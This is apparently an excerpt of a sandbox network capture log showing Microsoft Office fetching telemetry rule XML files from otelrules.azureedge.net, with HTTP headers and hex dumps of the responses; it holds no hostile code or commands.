2024-10-17 16:18:45 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	51328	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:46 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:46 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:46 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: caad5b66-c01e-0034-07d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161846Z-16b659b4499z4tq4vyreufa8gn00000006f000000000sfky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:46 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	51357	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:46 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:46 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:46 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8f2fa5bd-501e-008f-01d8-1e9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161846Z-16b659b4499f5gh931bbxe97rs00000008yg000000001856 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:46 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	51385	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:46 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:46 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:46 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a7e9f920-901e-005b-7bd8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161846Z-16b659b4499rgn6gzhcff90q8g00000009x000000000pgpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:46 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	51384	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:46 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:46 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:46 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 2bfc30ce-001e-00ad-2fd8-1e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161846Z-16b659b4499j4zt514u3dvn84n0000000b40000000009wee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:46 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	51386	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:46 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:47 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 9afff02c-d01e-00ad-4ad9-1ee942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161847Z-16b659b449999m8hsuhyf00exs00000009wg00000000run3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:47 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	51434	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:47 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:47 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: bad4d3ac-701e-0097-31d8-1eb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161847Z-r197bdfb6b4rt57kw3q0f43mqg00000001g000000000tsrx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	51442	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:47 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:47 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 36b15b9b-c01e-0082-6ad8-1eaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161847Z-16b659b4499lfw4zscvav76bhn00000008d000000000mdyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:47 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	51457	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:47 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:47 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 43a06c32-101e-008e-71d8-1ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161847Z-16b659b44994sjcfes83c39y4000000007m000000000tg8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:47 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	51461	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:47 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:47 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:47 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: afc1423d-101e-0034-03d8-1e96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161847Z-15b8d89586fwzdd8ab09pbrekn00000003mg00000000b3ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:47 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	51473	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:47 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:48 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:48 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 97941563-801e-00a0-2fc5-1f2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161848Z-r197bdfb6b4k6h5j1g5mvtmsmn00000001wg0000000053fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:48 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	51495	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:48 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:48 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:48 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: a02d454d-501e-00a0-57d8-1e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161848Z-15b8d89586fmhkw4gksnr1w3ds00000003ug000000007mb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
